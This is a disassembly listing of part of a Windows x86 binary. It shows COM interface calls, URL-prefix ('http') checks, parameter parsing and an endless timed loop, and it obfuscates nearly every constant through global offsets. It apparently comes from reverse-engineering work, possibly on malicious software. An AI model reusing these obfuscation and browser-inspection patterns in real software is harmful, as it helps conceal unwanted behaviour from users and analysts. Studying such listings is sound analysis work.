		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word_55113C
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_444615
		cmp	[ebp+var_10044], 0
		jz	loc_444615
		lea	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebp+var_10044]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0F8h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_444615
		lea	eax, [ebp+var_1003F]
		push	eax
		push	[ebp+var_20]
		call	sub_43DBFE
		mov	eax, dword_55112C
		sub	eax, 7
		push	eax
		push	offset dword_48C200
		lea	eax, [ebp+var_1003F]
		push	eax
		call	sub_43FE22
		add	esp, 14h
		mov	edi, dword_55120C
		add	edi, 0FFFBh
		add	edi, dword_551238
		cmp	eax, edi
		jz	loc_444615
		movsx	eax, word_5511E8
		sub	eax, 6
		cmp	[ebp+arg_8], eax
		jnz	short loc_4440E0
		mov	eax, [ebp+var_10044]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		xor	eax, eax
		inc	eax
		jmp	loc_44466C
; ---------------------------------------------------------------------------


loc_4440E0:				; CODE XREF: sub_443F06+1BBj
		movsx	eax, word_551194
		add	eax, dword_5511C8
		sub	eax, 9
		mov	[ebp+var_1007C], eax
		lea	eax, [ebp+var_1007C]
		push	eax
		push	offset dword_552A68
		mov	eax, [ebp+var_4]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word_5510F8
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_444615
		mov	[ebp+var_10055], 44h
		push	offset word_5517E2
		call	sub_43CAF7
		movsx	edi, word_551218
		movsx	esi, word_551128
		add	edi, esi
		sub	edi, 4
		push	edi
		push	eax
		lea	edi, [ebp+var_1003F]
		push	edi
		call	sub_43FE22
		add	esp, 10h
		movsx	esi, word_551190
		add	esi, 0FFF7h
		cmp	eax, esi
		jz	short loc_444170
		mov	[ebp+var_10055], 50h


loc_444170:				; CODE XREF: sub_443F06+261j
		push	offset word_5517DA
		call	sub_43CAF7
		movsx	edi, word_551208
		push	edi
		push	eax
		lea	edi, [ebp+var_1003F]
		push	edi
		call	sub_43FE22
		add	esp, 10h
		mov	esi, dword_5510C0
		add	esi, 0FFFDh
		cmp	eax, esi
		jz	short loc_4441A9
		mov	[ebp+var_10055], 43h


loc_4441A9:				; CODE XREF: sub_443F06+29Aj
		push	offset word_5517D2
		call	sub_43CAF7
		mov	edi, dword_5510EC
		add	edi, dword_55111C
		sub	edi, 2
		push	edi
		push	eax
		lea	edi, [ebp+var_1003F]
		push	edi
		call	sub_43FE22
		add	esp, 10h
		mov	esi, dword_5511B0
		sub	esi, 3
		mov	edi, eax
		add	edi, esi
		mov	[ebp+var_10064], edi
		mov	[ebp+var_10050], edi


loc_4441EC:				; CODE XREF: sub_443F06+2FCj
		mov	eax, [ebp+var_10050]
		cmp	[ebp+eax+var_1003F], 26h
		jz	short loc_444204
		inc	[ebp+var_10050]
		jmp	short loc_4441EC
; ---------------------------------------------------------------------------


loc_444204:				; CODE XREF: sub_443F06+2F4j
		mov	eax, [ebp+var_10050]
		mov	edx, dword_5510A4
		sub	edx, 7
		mov	[ebp+eax+var_1003F], dl
		mov	eax, [ebp+var_10064]
		lea	eax, [ebp+eax+var_1003F]
		push	eax
		call	ds:dword_44901C
		mov	[ebp+var_10080], eax
		push	offset byte_5517CB
		call	sub_43CAF7
		movsx	edi, word_551244
		add	edi, dword_551180
		sub	edi, 6
		push	edi
		push	eax
		lea	edi, [ebp+var_1003F]
		push	edi
		call	sub_43FE22
		add	esp, 14h
		mov	esi, dword_551170
		add	esi, dword_551180
		dec	esi
		mov	edi, eax
		add	edi, esi
		mov	[ebp+var_10064], edi
		mov	[ebp+var_10050], edi


loc_44427C:				; CODE XREF: sub_443F06+38Cj
		mov	eax, [ebp+var_10050]
		cmp	[ebp+eax+var_1003F], 26h
		jz	short loc_444294
		inc	[ebp+var_10050]
		jmp	short loc_44427C
; ---------------------------------------------------------------------------


loc_444294:				; CODE XREF: sub_443F06+384j
		mov	eax, [ebp+var_10050]
		mov	edx, dword_551174
		sub	edx, 7
		mov	[ebp+eax+var_1003F], dl
		mov	eax, [ebp+var_10064]
		lea	eax, [ebp+eax+var_1003F]
		push	eax
		call	ds:dword_44901C
		pop	ecx
		mov	[ebp+var_1005C], eax
		mov	eax, dword_551234
		add	eax, dword_55120C
		sub	eax, 0Ch
		cmp	[ebp+var_10080], eax
		ja	short loc_444355
		mov	eax, dword_5510BC
		mov	[ebp+var_10048], eax
		jmp	short loc_444339
; ---------------------------------------------------------------------------


loc_4442E8:				; CODE XREF: sub_443F06+44Dj
		mov	edi, [ebp+var_10048]
		mov	esi, edi
		shl	esi, 2
		movsx	edx, word_551128
		sub	edx, 5
		cmp	ds:dword_44A0E0[esi], edx
		jz	short loc_444333
		mov	edx, [ebp+var_1005C]
		cmp	ds:dword_449020[esi], edx
		jnz	short loc_444333
		mov	dl, ds:byte_44B1B0[edi]
		cmp	dl, [ebp+var_10055]
		jnz	short loc_444333
		movsx	esi, word_551208
		dec	esi
		mov	ds:dword_44A0E0[edi*4],	esi


loc_444333:				; CODE XREF: sub_443F06+3FEj
					; sub_443F06+40Dj ...
		inc	[ebp+var_10048]


loc_444339:				; CODE XREF: sub_443F06+3E0j
		movsx	eax, word_5510A8
		mov	edx, dword_5511FC
		lea	eax, [eax+edx+3E8h]
		cmp	[ebp+var_10048], eax
		jb	short loc_4442E8


loc_444355:				; CODE XREF: sub_443F06+3D3j
		call	ds:dword_54EA70
		mov	[ebp+var_10060], eax
		mov	eax, dword_5511EC
		movsx	edx, word_5511C4
		add	eax, edx
		sub	eax, 0Bh
		mov	[ebp+var_1004C], eax
		jmp	short loc_4443E4
; ---------------------------------------------------------------------------


loc_44437A:				; CODE XREF: sub_443F06+4F4j
		mov	edi, [ebp+var_1004C]
		shl	edi, 2
		movsx	esi, word_551164
		dec	esi
		cmp	ds:dword_44A0E0[edi], esi
		jz	short loc_4443DE
		mov	edi, ds:dword_4CD950[edi]
		mov	esi, dword_5511DC
		add	esi, 0EA60h
		mov	edx, dword_5510C0
		inc	edx
		add	edx, dword_5511AC
		imul	esi, edx
		add	edi, esi
		cmp	edi, [ebp+var_10060]
		jnb	short loc_4443DE
		mov	edi, [ebp+var_1004C]
		movsx	esi, word_551194
		add	esi, dword_5510DC
		sub	esi, 5
		mov	ds:dword_44A0E0[edi*4],	esi


loc_4443DE:				; CODE XREF: sub_443F06+48Cj
					; sub_443F06+4B9j
		inc	[ebp+var_1004C]


loc_4443E4:				; CODE XREF: sub_443F06+472j
		mov	eax, dword_5510DC
		add	eax, 3DFh
		add	eax, dword_5510D4
		cmp	[ebp+var_1004C], eax
		jb	loc_44437A
		mov	eax, dword_551200
		add	eax, dword_5511FC
		sub	eax, 5
		mov	[ebp+var_10054], eax
		jmp	short loc_44443A
; ---------------------------------------------------------------------------


loc_444416:				; CODE XREF: sub_443F06+54Dj
		mov	edi, [ebp+var_10054]
		mov	esi, dword_55111C
		add	esi, dword_5511B4
		sub	esi, 6
		cmp	ds:dword_44A0E0[edi*4],	esi
		jz	short loc_444455
		inc	[ebp+var_10054]


loc_44443A:				; CODE XREF: sub_443F06+50Ej
		mov	eax, dword_55114C
		add	eax, 3DDh
		movsx	edx, word_55113C
		add	eax, edx
		cmp	[ebp+var_10054], eax
		jb	short loc_444416


loc_444455:				; CODE XREF: sub_443F06+52Cj
		mov	edi, [ebp+var_10054]
		mov	esi, [ebp+var_1005C]
		mov	ds:dword_449020[edi*4],	esi
		mov	esi, [ebp+arg_0]
		mov	ds:dword_448060[edi*4],	esi
		mov	eax, edi
		mov	dl, [ebp+var_10055]
		mov	ds:byte_44B1B0[eax], dl
		movsx	eax, word_5511A8
		add	eax, dword_55119C
		sub	eax, 4
		cmp	[ebp+var_10080], eax
		jbe	loc_44455F
		mov	esi, dword_5511EC
		add	esi, 0FFFCh
		movsx	edx, word_551218
		add	esi, edx
		mov	ds:word_48BA10[edi*2], si
		mov	eax, dword_551154
		add	eax, dword_551220
		sub	eax, 0Ah
		mov	[ebp+var_10088], eax
		jmp	short loc_444547
; ---------------------------------------------------------------------------


loc_4444D0:				; CODE XREF: sub_443F06+651j
		mov	edi, [ebp+var_10088]
		mov	esi, edi
		shl	esi, 2
		mov	edx, dword_551154
		movsx	ecx, word_551190
		add	edx, ecx
		sub	edx, 10h
		cmp	ds:dword_44A0E0[esi], edx
		jz	short loc_444541
		movzx	edx, ds:word_48BA10[edi*2]
		mov	ecx, dword_551178
		add	ecx, 0FFF6h
		movsx	eax, word_5511A8
		add	ecx, eax
		cmp	edx, ecx
		jz	short loc_444541
		mov	edx, [ebp+var_1005C]
		cmp	ds:dword_449020[esi], edx
		jnz	short loc_444541
		mov	dl, ds:byte_44B1B0[edi]
		cmp	dl, [ebp+var_10055]
		jnz	short loc_444541
		lea	edi, ds:48BA10h[edi*2]
		inc	word ptr [edi]
		jmp	short loc_44457C
; ---------------------------------------------------------------------------


loc_444541:				; CODE XREF: sub_443F06+5EEj
					; sub_443F06+60Fj ...
		inc	[ebp+var_10088]


loc_444547:				; CODE XREF: sub_443F06+5C8j
		mov	eax, dword_5510B8
		add	eax, 3E4h
		cmp	[ebp+var_10088], eax
		jb	loc_4444D0
		jmp	short loc_44457C
; ---------------------------------------------------------------------------


loc_44455F:				; CODE XREF: sub_443F06+591j
		mov	edi, [ebp+var_10054]
		mov	esi, dword_5511BC
		add	esi, dword_551188
		sub	esi, 0Ah
		mov	ds:word_48BA10[edi*2], si


loc_44457C:				; CODE XREF: sub_443F06+639j
					; sub_443F06+657j
		call	ds:dword_54EA70
		mov	edi, [ebp+var_10054]
		mov	ds:dword_4CD950[edi*4],	eax
		lea	esi, off_5512A8
		mov	ds:dword_44A0E0[edi*4],	esi
		mov	edi, [ebp+var_10054]
		lea	edi, ds:44A0E0h[edi*4]
		mov	[ebp+var_10084], edi
		mov	eax, edi
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+4]
		mov	edi, [ebp+var_10054]
		lea	edi, ds:44A0E0h[edi*4]
		mov	[ebp+var_10070], edi
		mov	[ebp+var_10078], 9
		lea	esi, [ebp+var_10078]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_1007C]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+0A4h]
		mov	ebx, eax
		lea	eax, [ebp+var_10078]
		push	eax
		call	ds:dword_550044
		inc	[ebp+var_10054]
		mov	eax, [ebp+var_1007C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_444615:				; CODE XREF: sub_443F06+138j
					; sub_443F06+145j ...
		mov	eax, dword_5511A0
		sub	eax, 8
		cmp	[ebp+var_10044], eax
		jz	short loc_444631
		mov	eax, [ebp+var_10044]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_444631:				; CODE XREF: sub_443F06+71Dj
		movsx	eax, word_551240
		sub	eax, 8
		cmp	[ebp+var_4], eax
		jz	short loc_444649
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_444649:				; CODE XREF: sub_443F06+F4j
					; sub_443F06+738j
		inc	[ebp+var_1C]


loc_44464C:				; CODE XREF: sub_443F06+ACj
		mov	eax, [ebp+var_28]
		cmp	[ebp+var_1C], eax
		jb	loc_443FB7


loc_444658:				; CODE XREF: sub_443F06+9Bj
		mov	eax, [ebp+var_24]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_444661:				; CODE XREF: sub_443F06+7Cj
		mov	eax, [ebp+var_2C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		xor	eax, eax


loc_44466C:				; CODE XREF: sub_443F06+57j
					; sub_443F06+1D5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_443F06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444671	proc near		; CODE XREF: sub_44493B:loc_44493Ep

var_252		= byte ptr -252h
var_236		= dword	ptr -236h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_114]
		push	eax
		movsx	eax, word_5511C4
		sub	eax, 8
		push	eax
		mov	eax, dword_551154
		sub	eax, 8
		push	eax
		push	21h
		movsx	eax, word_551164
		dec	eax
		push	eax
		call	ds:dword_48BA00
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_4447C8
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_4CC430
		mov	eax, dword_5510DC
		movzx	edx, [ebp+var_6]
		movzx	ecx, [ebp+var_8]
		mov	ebx, dword_5511BC
		add	ebx, 36h
		imul	ecx, ebx
		add	edx, ecx
		movzx	ecx, [ebp+var_A]
		movsx	ebx, word_551144
		mov	esi, dword_5510E8
		lea	ebx, [ebx+esi+13h]
		imul	ecx, ebx
		movsx	ebx, word_551240
		add	ebx, 34h
		imul	ecx, ebx
		add	edx, ecx
		movzx	ecx, [ebp+var_E]
		movsx	ebx, word_551118
		mov	esi, dword_5511D0
		lea	ebx, [ebx+esi+0Fh]
		imul	ecx, ebx
		mov	ebx, dword_55114C
		add	ebx, 15h
		movsx	esi, word_551148
		add	ebx, esi
		imul	ecx, ebx
		movsx	ebx, word_55113C
		mov	esi, dword_551124
		lea	ebx, [ebx+esi+31h]
		imul	ecx, ebx
		add	edx, ecx
		movzx	ecx, [ebp+var_10]
		mov	ebx, dword_5510DC
		add	ebx, 8
		imul	ecx, ebx
		mov	ebx, dword_551188
		add	ebx, 11h
		add	ebx, dword_551154
		imul	ecx, ebx
		movsx	ebx, word_5510F8
		lea	eax, [ebx+eax+0Fh]
		imul	ecx, eax
		mov	eax, dword_5511B8
		add	eax, 34h
		add	eax, dword_551150
		imul	ecx, eax
		mov	eax, edx
		add	eax, ecx
		mov	ds:dword_448030, eax
		mov	eax, dword_55122C
		add	eax, dword_551180
		sub	eax, 6
		mov	[ebp+var_236], eax
		lea	esi, [ebp+var_252]
		sub	esp, 140h
		mov	edi, esp
		mov	ecx, 9Fh
		rep movsw
		lea	edi, [ebp+var_114]
		push	edi
		call	sub_43DE84
		add	esp, 144h


loc_4447C8:				; CODE XREF: sub_444671+3Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_444671	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4447CD	proc near		; CODE XREF: sub_43DA83+5Bp

var_1007	= byte ptr -1007h
var_1006	= byte ptr -1006h
var_1002	= byte ptr -1002h
var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_4475B4
		push	ebx
		push	esi
		push	edi
		push	offset byte_5517B9
		call	sub_43CAF7
		pop	ecx
		mov	esi, dword_551228
		sub	esi, 8
		push	esi
		push	eax
		movsx	esi, word_551210
		sub	esi, 5
		push	esi
		push	[ebp+arg_0]
		call	ds:dword_50E930
		mov	edi, eax
		mov	eax, dword_551204
		sub	eax, 2
		cmp	edi, eax
		jnz	short loc_444818
		mov	edi, [ebp+arg_0]


loc_444818:				; CODE XREF: sub_4447CD+46j
		push	offset byte_5517A3
		call	sub_43CAF7
		pop	ecx
		mov	esi, dword_551180
		movsx	ebx, word_551240
		add	esi, ebx
		sub	esi, 8
		push	esi
		push	eax
		movsx	esi, word_5510B4
		add	esi, dword_551158
		sub	esi, 8
		push	esi
		push	edi
		call	ds:dword_50E930
		mov	edi, eax
		lea	eax, [ebp+var_FFF]
		push	eax
		push	0FFFh
		push	0Dh
		push	edi
		call	ds:dword_448018
		mov	eax, dword_551090
		add	eax, dword_5511B4
		cmp	[ebp+eax+var_1007], 20h
		jnz	short loc_44488E
		mov	eax, dword_55120C
		cmp	[ebp+eax+var_1002], 20h
		jz	loc_44491E


loc_44488E:				; CODE XREF: sub_4447CD+ACj
		lea	ecx, [ebp+var_FFF]
		or	eax, 0FFFFFFFFh


loc_444897:				; CODE XREF: sub_4447CD+CFj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_444897
		mov	ebx, dword_5510EC
		add	ebx, 0Ch
		cmp	eax, ebx
		jb	short loc_44491E
		mov	eax, dword_5510AC
		cmp	[ebp+eax+var_1006], 68h
		jnz	short loc_4448C9
		mov	eax, dword_55124C
		cmp	[ebp+eax+var_1007], 74h
		jz	short loc_44491E


loc_4448C9:				; CODE XREF: sub_4447CD+EBj
		push	offset word_55179E
		call	sub_43CAF7
		movsx	esi, word_551164
		add	esi, 3
		push	esi
		push	eax
		lea	esi, [ebp+var_FFF]
		push	esi
		call	sub_43FE22
		add	esp, 10h
		movsx	ebx, word_5510A8
		add	ebx, 0FFFFh
		cmp	eax, ebx
		jnz	short loc_44491E
		push	offset dword_551798
		call	sub_43CAF7
		pop	ecx
		push	eax
		mov	esi, dword_5511E4
		sub	esi, 4
		push	esi
		push	0Ch
		push	edi
		call	ds:dword_448018


loc_44491E:				; CODE XREF: sub_4447CD+BBj
					; sub_4447CD+DCj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4447CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_444923	proc near		; CODE XREF: sub_43E397+4Ap
					; sub_43E397+5Fp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	[ebp+arg_0]
		push	dword_551258
		call	ds:dword_44B1AC
		mov	edi, eax
		pop	edi
		pop	ebp
		retn
sub_444923	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_44493B	proc near		; DATA XREF: sub_443843+19Ao
		push	ebp
		mov	ebp, esp


loc_44493E:				; CODE XREF: sub_44493B+2Dj
		call	sub_444671
		mov	eax, dword_551204
		add	eax, 76h
		mov	edx, dword_5510E0
		add	edx, 0EA58h
		add	edx, dword_551124
		imul	eax, edx
		push	eax
		call	ds:dword_50E924
		pop	ecx
		jmp	short loc_44493E
sub_44493B	endp

; ---------------------------------------------------------------------------
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44496E	proc near		; CODE XREF: sub_43B4E9+1Fp

var_71F16	= byte ptr -71F16h
var_71F14	= dword	ptr -71F14h
var_71F10	= dword	ptr -71F10h
var_71F0B	= byte ptr -71F0Bh
var_70F0C	= dword	ptr -70F0Ch
var_70F08	= word ptr -70F08h
var_70F00	= dword	ptr -70F00h
var_70EF4	= dword	ptr -70EF4h
var_70EEF	= byte ptr -70EEFh
var_60EF0	= word ptr -60EF0h
var_60EE8	= dword	ptr -60EE8h
var_60EDD	= byte ptr -60EDDh
var_60EDC	= dword	ptr -60EDCh
var_60ED8	= dword	ptr -60ED8h
var_60ED4	= dword	ptr -60ED4h
var_60ED0	= word ptr -60ED0h
var_60EC8	= dword	ptr -60EC8h
var_60EC0	= dword	ptr -60EC0h
var_60EBC	= dword	ptr -60EBCh
var_60EB8	= dword	ptr -60EB8h
var_60EB4	= dword	ptr -60EB4h
var_60EB0	= dword	ptr -60EB0h
var_60EAC	= dword	ptr -60EACh
var_60EA8	= dword	ptr -60EA8h
var_60EA4	= dword	ptr -60EA4h
var_60E9F	= byte ptr -60E9Fh
var_50EAC	= byte ptr -50EACh
var_50EA0	= dword	ptr -50EA0h
var_50E9B	= byte ptr -50E9Bh
var_40EB8	= byte ptr -40EB8h
var_40EB0	= dword	ptr -40EB0h
var_40EA8	= word ptr -40EA8h
var_40EA0	= dword	ptr -40EA0h
var_40E9C	= dword	ptr -40E9Ch
var_40E98	= dword	ptr -40E98h
var_40E94	= byte ptr -40E94h
var_40E90	= dword	ptr -40E90h
var_40E8C	= dword	ptr -40E8Ch
var_40E88	= dword	ptr -40E88h
var_40E84	= dword	ptr -40E84h
var_40E80	= byte ptr -40E80h
var_40E78	= dword	ptr -40E78h
var_40E70	= dword	ptr -40E70h
var_40E6C	= dword	ptr -40E6Ch
var_40E68	= dword	ptr -40E68h
var_40E64	= dword	ptr -40E64h
var_40E60	= dword	ptr -40E60h
var_40E5C	= dword	ptr -40E5Ch
var_40E57	= byte ptr -40E57h
var_40E56	= byte ptr -40E56h
var_40E55	= byte ptr -40E55h
var_40E54	= byte ptr -40E54h
var_30E58	= dword	ptr -30E58h
var_30E54	= dword	ptr -30E54h
var_30E50	= dword	ptr -30E50h
var_30E4C	= dword	ptr -30E4Ch
var_30E48	= dword	ptr -30E48h
var_30E44	= dword	ptr -30E44h
var_30E3F	= byte ptr -30E3Fh
var_30D4A	= byte ptr -30D4Ah
var_30D44	= byte ptr -30D44h
var_30D40	= byte ptr -30D40h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 71F14h
		call	sub_4475B4
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_40E80]
		push	eax
		call	ds:dword_448048
		lea	eax, [ebp+var_40E94]
		push	eax
		lea	eax, [ebp+var_40E80]
		push	eax
		push	9
		mov	eax, dword_5511E4
		sub	eax, 4
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4CC224
		mov	ebx, eax
		mov	eax, dword_551100
		add	eax, dword_551220
		sub	eax, 0Bh
		cmp	ebx, eax
		jnz	loc_4457C5
		mov	eax, dword_5510E0
		sub	eax, 6
		mov	[ebp+var_40E60], eax
		mov	ecx, [ebp+var_40E78]
		mov	[ebp+var_40E64], ecx
		lea	ecx, [ebp+var_40E60]
		push	ecx
		push	offset dword_552AA8
		mov	eax, [ebp+var_40E64]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_551234
		add	eax, dword_55114C
		sub	eax, 0Ah
		cmp	ebx, eax
		jnz	loc_4457C5
		lea	eax, [ebp+var_40E84]
		push	eax
		mov	eax, [ebp+var_40E60]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+78h]
		mov	ebx, eax
		mov	eax, dword_5510BC
		add	eax, dword_5511E0
		sub	eax, 4
		cmp	ebx, eax
		jnz	loc_4457B9
		lea	eax, [ebp+var_40E57]
		push	eax
		push	[ebp+var_40E84]
		call	sub_43DBFE
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_40E98], edi
		push	[ebp+var_40E84]
		call	ds:dword_54FF34
		cmp	[ebp+var_40E57], 68h
		jnz	short loc_444A8C
		cmp	[ebp+var_40E56], 74h
		jnz	short loc_444A8C
		cmp	[ebp+var_40E55], 74h
		jnz	short loc_444A8C
		cmp	[ebp+var_40E54], 70h
		jz	short loc_444A91


loc_444A8C:				; CODE XREF: sub_44496E+101j
					; sub_44496E+10Aj ...
		jmp	loc_4457B9
; ---------------------------------------------------------------------------


loc_444A91:				; CODE XREF: sub_44496E+11Cj
		lea	eax, [ebp+var_30E4C]
		push	eax
		mov	eax, [ebp+var_40E60]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+94h]
		mov	ebx, eax
		mov	eax, dword_551184
		add	eax, dword_55118C
		sub	eax, 5
		cmp	ebx, eax
		jz	short loc_444ACC
		mov	eax, dword_551180
		add	eax, dword_5510BC
		mov	[ebp+var_30E4C], eax


loc_444ACC:				; CODE XREF: sub_44496E+14Bj
		lea	eax, [ebp+var_40E68]
		push	eax
		mov	eax, [ebp+var_40E60]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+48h]
		mov	ebx, eax
		mov	eax, dword_551130
		dec	eax
		cmp	ebx, eax
		jnz	loc_4457B9
		lea	eax, [ebp+var_40E6C]
		push	eax
		push	offset dword_552A28
		mov	eax, [ebp+var_40E68]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_55110C
		sub	eax, 2
		cmp	ebx, eax
		jnz	loc_4457AD
		lea	eax, [ebp+var_40E70]
		push	eax
		mov	eax, [ebp+var_40E6C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+5Ch]
		mov	ebx, eax
		mov	eax, dword_551124
		add	eax, dword_551090
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_4457A1
		lea	eax, [ebp+var_40E90]
		push	eax
		mov	eax, [ebp+var_40E70]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	eax, dword_5511C0
		add	eax, dword_551200
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_445795
		mov	eax, dword_5511D4
		add	eax, dword_55123C
		sub	eax, 7
		neg	eax
		mov	[ebp+var_40E5C], eax
		push	offset dword_551788
		call	sub_43FEC5
		push	eax
		call	ds:dword_44900C
		mov	[ebp+var_30E44], eax
		push	offset dword_551774
		call	sub_43FEC5
		push	eax
		call	ds:dword_44900C
		mov	[ebp+var_30E48], eax
		movsx	eax, word_55109C
		mov	edx, dword_55122C
		sub	edx, 7
		mov	[ebp+eax+var_30D44], dl
		mov	eax, dword_5510E0
		add	eax, dword_551170
		mov	[ebp+eax+var_30D4A], 44h
		mov	eax, dword_551248
		movsx	edx, word_5510CC
		add	eax, edx
		mov	[ebp+eax+var_30D44], 7Ch
		lea	eax, [ebp+var_40E57]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_44802C
		add	esp, 10h


loc_444C0E:				; CODE XREF: sub_44496E+DFBj
		movsx	eax, word_551194
		dec	eax
		mov	[ebp+var_40E8C], eax
		mov	eax, dword_551114
		add	eax, dword_551150
		sub	eax, 5
		mov	[ebp+var_40E88], eax
		movsx	eax, word_551164
		add	eax, dword_5511BC
		sub	eax, 6
		neg	eax
		cmp	[ebp+var_40E5C], eax
		jnz	short loc_444C91
		lea	eax, [ebp+var_30E54]
		push	eax
		mov	eax, [ebp+var_40E6C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		movsx	eax, word_551210
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_445757
		push	offset byte_551763
		call	sub_43CAF7
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	ds:dword_44802C
		add	esp, 0Ch
		jmp	loc_444DAD
; ---------------------------------------------------------------------------


loc_444C91:				; CODE XREF: sub_44496E+2DAj
		mov	[ebp+var_40EA8], 17h
		mov	eax, [ebp+var_40E5C]
		mov	[ebp+var_40EA0], eax
		lea	eax, [ebp+var_40EB8]
		push	eax
		lea	eax, [ebp+var_40EA8]
		push	eax
		mov	eax, [ebp+var_40E70]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+1Ch]
		lea	eax, [ebp+var_40E88]
		push	eax
		push	offset dword_552A78
		push	[ebp+var_40EB0]
		mov	edi, [ebp+var_40EB0]
		mov	edi, [edi]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_5511F8
		add	eax, dword_551184
		sub	eax, 7
		cmp	ebx, eax
		jnz	loc_445757
		lea	eax, [ebp+var_40E8C]
		push	eax
		mov	eax, [ebp+var_40E88]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0D0h]
		mov	ebx, eax
		mov	eax, dword_551238
		add	eax, dword_55121C
		sub	eax, 4
		cmp	ebx, eax
		jz	short loc_444D34
		mov	eax, [ebp+var_40E88]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		jmp	loc_445757
; ---------------------------------------------------------------------------


loc_444D34:				; CODE XREF: sub_44496E+3B3j
		lea	eax, [ebp+var_30E54]
		push	eax
		mov	eax, [ebp+var_40E8C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		mov	eax, dword_551100
		add	eax, dword_551234
		sub	eax, 11h
		cmp	ebx, eax
		jz	short loc_444D78
		mov	eax, [ebp+var_40E8C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp+var_40E88]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		jmp	loc_445757
; ---------------------------------------------------------------------------


loc_444D78:				; CODE XREF: sub_44496E+3EBj
		push	offset dword_551754
		call	sub_43CAF7
		push	[ebp+var_40E5C]
		push	eax
		lea	edi, [ebp+var_30E3F]
		push	edi
		call	ds:dword_50E928
		lea	eax, [ebp+var_30E3F]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_44802C
		add	esp, 18h


loc_444DAD:				; CODE XREF: sub_44496E+31Ej
		lea	eax, [ebp+var_30E58]
		push	eax
		mov	eax, [ebp+var_30E54]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+24h]
		mov	ebx, eax
		mov	eax, dword_5510C8
		add	eax, dword_5510A4
		sub	eax, 8
		cmp	ebx, eax
		jnz	loc_445757
		movsx	eax, word_5510C4
		sub	eax, 6
		mov	[ebp+var_30E50], eax
		jmp	loc_445745
; ---------------------------------------------------------------------------


loc_444DED:				; CODE XREF: sub_44496E+DE3j
		mov	[ebp+var_60ED0], 2
		mov	eax, [ebp+var_30E50]
		mov	[ebp+var_60EC8], eax
		movsx	eax, word_5511C4
		add	eax, dword_5511F4
		mov	edx, dword_55115C
		sub	edx, 4
		mov	[ebp+eax+var_50EAC], dl
		lea	eax, [ebp+var_60EC0]
		push	eax
		lea	esi, [ebp+var_60ED0]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_60ED0]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
